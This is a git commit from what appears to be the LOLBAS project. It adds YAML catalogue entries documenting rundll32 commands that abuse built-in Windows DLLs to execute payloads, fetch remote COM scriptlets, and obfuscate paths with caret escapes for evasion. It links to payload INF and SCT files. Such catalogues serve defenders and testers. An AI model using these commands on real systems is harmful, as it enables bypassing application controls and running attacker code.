MD files generate from Script, and adjustments to readme

This commit is contained in:
Oddvar Moe
2018-09-14 15:48:52 +02:00
parent eef9e78be8
commit c949e100bd
221 changed files with 2729 additions and 158 deletions

View File

@@ -0,0 +1,30 @@
---
Name: Advpack.dll
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: rundll32.exe advpack.dll,LaunchINFSection c:\\test.inf,DefaultInstall_SingleUser,1,
Description: Remote fetch and execute a COM Scriptlet by calling an information file directive (Section name specified).
- Command: rundll32.exe advpack.dll,LaunchINFSection test.inf,,1,
Description: Remote fetch and execute a COM Scriptlet by calling an information file directive (DefaultInstall section implied).
- Command: rundll32.exe Advpack.dll,RegisterOCX calc.exe
Description: Launch executable by calling the RegisterOCX function.
- Command: rundll32 advpack.dll, RegisterOCX "cmd.exe /c calc.exe"
Description: Launch executable by calling the RegisterOCX function.
- Command: rundll32.exe Advpack.dll,RegisterOCX test.dll
Description: Launch a DLL payload by calling the RegisterOCX function.
Full Path:
- c:\windows\system32\advpack.dll
- c:\windows\sysWOW64\advpack.dll
Code Sample:
- https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack.inf
- https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct
Detection: []
Resources:
- https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/
- https://twitter.com/ItsReallyNick/status/967859147977850880
- https://twitter.com/bohops/status/974497123101179904
- https://twitter.com/moriarty_meng/status/977848311603380224
Notes: Thanks to Jimmy - @bohops (LaunchINFSection), fabrizio - @0rbz_ (RegisterOCX - DLL), Moriarty @moriarty_meng (RegisterOCX - Cmd)

View File

@@ -0,0 +1,28 @@
---
Name: Ieadvpack.dll
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: rundll32.exe IEAdvpack.dll,LaunchINFSection c:\\test.inf,DefaultInstall_SingleUser,1,
Description: Remote fetch and execute a COM Scriptlet by calling an information file directive (Section name specified).
- Command: rundll32.exe IEAdvpack.dll,LaunchINFSection test.inf,,1,
Description: Remote fetch and execute a COM Scriptlet by calling an information file directive (DefaultInstall section implied).
- Command: rundll32.exe IEAdvpack.dll,RegisterOCX calc.exe
Description: Launch executable by calling the RegisterOCX function.
- Command: rundll32.exe IEAdvpack.dll,RegisterOCX test.dll
Description: Launch a DLL payload by calling the RegisterOCX function.
Full Path:
- c:\windows\system32\ieadvpack.dll
- c:\windows\sysWOW64\ieadvpack.dll
Code Sample:
- https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack.inf
- https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct
Detection: []
Resources:
- https://twitter.com/pabraeken/status/991695411902599168
- https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
- https://twitter.com/0rbz_/status/974472392012689408
Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken (RegisterOCX - Cmd), Jimmy - @bohops (LaunchINFSection), fabrizio - @0rbz_ (RegisterOCX - DLL)

View File

@@ -0,0 +1,22 @@
---
Name: Ieframe.dll
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
Description: Launch an executable payload via proxy through a(n) URL (information) file by calling OpenURL.
- Command: rundll32.exe ieframe.dll,OpenURL c:\\test\\calc-url-file.zz
Description: Renamed URL file.
Full Path:
- c:\windows\system32\Ieframe.dll
- c:\windows\sysWOW64\Ieframe.dll
Code Sample:
- https://gist.githubusercontent.com/bohops/89d7b11fa32062cfe31be9fdb18f050e/raw/1206a613a6621da21e7fd164b80a7ff01c5b64ab/calc.url
Detection: []
Resources:
- http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/
- https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
- https://twitter.com/bohops/status/997690405092290561
Notes: Thanks to Adam - @hexacorn, Jimmy - @bohops

View File

@@ -0,0 +1,17 @@
---
Name: Mshtml.dll
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"
Description: Invoke an HTML Application. Note - Pops a security warning and a print dialogue box.
Full Path:
- c:\windows\system32\Mshtml.dll
- c:\windows\sysWOW64\Mshtml.dll
Code Sample: []
Detection: []
Resources:
- https://twitter.com/pabraeken/status/998567549670477824
Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken

View File

@@ -0,0 +1,17 @@
---
Name: Pcwutl.dll
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: rundll32.exe pcwutl.dll,LaunchApplication calc.exe
Description: Launch executable by calling the LaunchApplication function.
Full Path:
- c:\windows\system32\Pcwutl.dll
- c:\windows\sysWOW64\Pcwutl.dll
Code Sample: []
Detection: []
Resources:
- https://twitter.com/harr0ey/status/989617817849876488
Notes: Thanks to Matt harr0ey - @harr0ey

View File

@@ -0,0 +1,25 @@
---
Name: Setupapi.dll
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: rundll32 setupapi,InstallHinfSection DefaultInstall 132 c:\temp\calc.inf
Description: Launch an executable file via the InstallHinfSection function and .inf file section directive.
- Command: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\shady.inf
Description: Remote fetch and execute a COM Scriptlet by calling an information file directive.
Full Path:
- c:\windows\system32\Setupapi.dll
- c:\windows\sysWOW64\Setupapi.dll
Code Sample:
- https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf
- https://gist.github.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba#file-backdoor-minimalist-sct
- https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf
Detection: []
Resources:
- https://twitter.com/pabraeken/status/994742106852941825
- https://twitter.com/subTee/status/951115319040356352
- https://twitter.com/KyleHanslovan/status/911997635455852544
- https://github.com/huntresslabs/evading-autoruns
Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken (Executable), Kyle Hanslovan - @KyleHanslovan (COM Scriptlet), Huntress Labs - @HuntressLabs (COM Scriptlet), Casey Smith - @subTee (COM Scriptlet)

View File

@@ -0,0 +1,22 @@
---
Name: Shdocvw.dll
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"
Description: Launch an executable payload via proxy through a(n) URL (information) file by calling OpenURL.
- Command: rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.zz"
Description: Renamed URL file.
Full Path:
- c:\windows\system32\Shdocvw.dll
- c:\windows\sysWOW64\Shdocvw.dll
Code Sample:
- https://gist.githubusercontent.com/bohops/89d7b11fa32062cfe31be9fdb18f050e/raw/1206a613a6621da21e7fd164b80a7ff01c5b64ab/calc.url
Detection: []
Resources:
- http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/
- https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
- https://twitter.com/bohops/status/997690405092290561
Notes: Thanks to Adam - @hexacorn, Jimmy - @bohops

View File

@@ -0,0 +1,24 @@
---
Name: Shell32.dll
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: rundll32.exe shell32.dll,Control_RunDLL payload.dll
Description: Launch DLL payload.
- Command: rundll32.exe shell32.dll,ShellExec_RunDLL beacon.exe
Description: Launch executable payload.
- Command: rundll32 SHELL32.DLL,ShellExec_RunDLL "cmd.exe" "/c echo hi"
Description: Launch executable payload with arguments.
Full Path:
- c:\windows\system32\shell32.dll
- c:\windows\sysWOW64\shell32.dll
Code Sample: []
Detection: []
Resources:
- https://twitter.com/Hexacorn/status/885258886428725250
- https://twitter.com/pabraeken/status/991768766898941953
- https://twitter.com/mattifestation/status/776574940128485376
- https://twitter.com/KyleHanslovan/status/905189665120149506
Notes: Thanks to Adam - @hexacorn (Control_RunDLL), Pierre-Alexandre Braeken - @pabraeken (ShellExec_RunDLL), Matt Graeber - @mattifestation (ShellExec_RunDLL), Kyle Hanslovan - @KyleHanslovan (ShellExec_RunDLL)

View File

@@ -0,0 +1,24 @@
---
Name: Syssetup.dll
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\calc.INF
Description: Launch an executable file via the SetupInfObjectInstallAction function and .inf file section directive.
- Command: rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\\test\\shady.inf
Description: Remote fetch and execute a COM Scriptlet by calling an information file directive.
Full Path:
- c:\windows\system32\Syssetup.dll
- c:\windows\sysWOW64\Syssetup.dll
Code Sample:
- https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf
- https://gist.github.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba#file-backdoor-minimalist-sct
- https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf
Detection: []
Resources:
- https://twitter.com/pabraeken/status/994392481927258113
- https://twitter.com/harr0ey/status/975350238184697857
- https://twitter.com/bohops/status/975549525938135040
Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken (Execute), Matt harr0ey - @harr0ey (Execute), Jimmy - @bohops (COM Scriptlet)

33
yml/OSLibraries/Url.yml Normal file
View File

@@ -0,0 +1,33 @@
---
Name: Url.dll
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: rundll32.exe url.dll,OpenURL "C:\\test\\calc.hta"
Description: Launch a HTML application payload by calling OpenURL.
- Command: rundll32.exe url.dll,OpenURL "C:\\test\\calc.url"
Description: Launch an executable payload via proxy through a(n) URL (information) file by calling OpenURL.
- Command: rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
Description: Launch an executable payload by calling OpenURL.
- Command: rundll32.exe url.dll,FileProtocolHandler calc.exe
Description: Launch an executable payload by calling FileProtocolHandler.
- Command: rundll32.exe url.dll,FileProtocolHandler file:///C:/test/test.hta
Description: Launch a HTML application payload by calling FileProtocolHandler.
- Command: rundll32 url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
Description: Launch an executable payload by calling FileProtocolHandler.
Full Path:
- c:\windows\system32\url.dll
- c:\windows\sysWOW64\url.dll
Code Sample:
- https://gist.githubusercontent.com/bohops/89d7b11fa32062cfe31be9fdb18f050e/raw/1206a613a6621da21e7fd164b80a7ff01c5b64ab/calc.url
Detection: []
Resources:
- https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
- https://twitter.com/bohops/status/974043815655956481
- https://twitter.com/DissectMalware/status/995348436353470465
- https://twitter.com/yeyint_mth/status/997355558070927360
- https://twitter.com/Hexacorn/status/974063407321223168
Notes: Thanks to Jimmy - @bohops (OpenURL), Adam - @hexacorn (OpenURL), Malwrologist - @DissectMalware (FileProtocolHandler - HTA), r0lan - @yeyint_mth (Obfuscation)

View File

@@ -0,0 +1,20 @@
---
Name: Zipfldr.dll
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: rundll32.exe zipfldr.dll,RouteTheCall calc.exe
Description: Launch an executable payload by calling RouteTheCall.
- Command: rundll32.exe zipfldr.dll,RouteTheCall file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
Description: Launch an executable payload by calling RouteTheCall.
Full Path:
- c:\windows\system32\zipfldr.dll
- c:\windows\sysWOW64\zipfldr.dll
Code Sample: []
Detection: []
Resources:
- https://twitter.com/moriarty_meng/status/977848311603380224
- https://twitter.com/bohops/status/997896811904929792
Notes: Thanks to Moriarty - @moriarty_meng (Execute), r0lan - @yeyint_mth (Obfuscation)